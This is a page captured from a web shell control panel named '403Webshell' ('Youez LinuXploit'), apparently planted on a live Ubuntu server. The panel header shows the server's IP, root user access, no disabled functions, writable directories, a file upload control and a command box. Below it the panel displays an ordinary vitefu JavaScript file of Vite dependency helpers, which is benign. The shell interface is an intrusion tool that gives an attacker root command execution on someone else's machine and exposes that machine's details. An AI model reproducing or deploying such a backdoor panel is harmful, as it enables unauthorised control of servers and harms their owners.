403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.37
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vitefu/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vitefu/src/sync.cjs
// contains synchronous API only so it can be exported as CJS and ESM

/** @type {import('./index.d.ts').isDepIncluded} */
function isDepIncluded(dep, optimizeDepsInclude) {
  return optimizeDepsInclude.some((id) => parseIncludeStr(id) === dep)
}

/** @type {import('./index.d.ts').isDepExcluded} */
function isDepExcluded(dep, optimizeDepsExclude) {
  dep = parseIncludeStr(dep)
  return optimizeDepsExclude.some(
    (id) => id === dep || dep.startsWith(`${id}/`)
  )
}

/** @type {import('./index.d.ts').isDepNoExternaled} */
function isDepNoExternaled(dep, ssrNoExternal) {
  if (ssrNoExternal === true) {
    return true
  } else {
    return isMatch(dep, ssrNoExternal)
  }
}

/** @type {import('./index.d.ts').isDepExternaled} */
function isDepExternaled(dep, ssrExternal) {
  // If `ssrExternal` is `true`, it just means that all linked
  // dependencies should also be externalized by default. It doesn't
  // mean that a dependency is being explicitly externalized. So we
  // return `false` in this case.
  // @ts-expect-error can be true in Vite 6
  if (ssrExternal === true) {
    return false
  } else {
    return ssrExternal.includes(dep)
  }
}

/**
 * @param {string} raw could be "foo" or "foo > bar" etc
 */
function parseIncludeStr(raw) {
  const lastArrow = raw.lastIndexOf('>')
  return lastArrow === -1 ? raw : raw.slice(lastArrow + 1).trim()
}

/**
 * @param {string} target
 * @param {string | RegExp | (string | RegExp)[]} pattern
 */
function isMatch(target, pattern) {
  if (Array.isArray(pattern)) {
    return pattern.some((p) => isMatch(target, p))
  } else if (typeof pattern === 'string') {
    return target === pattern
  } else if (pattern instanceof RegExp) {
    return pattern.test(target)
  }
}

module.exports = {
  isDepIncluded,
  isDepExcluded,
  isDepNoExternaled,
  isDepExternaled
}

Youez - 2016 - github.com/yon3zu
LinuXploit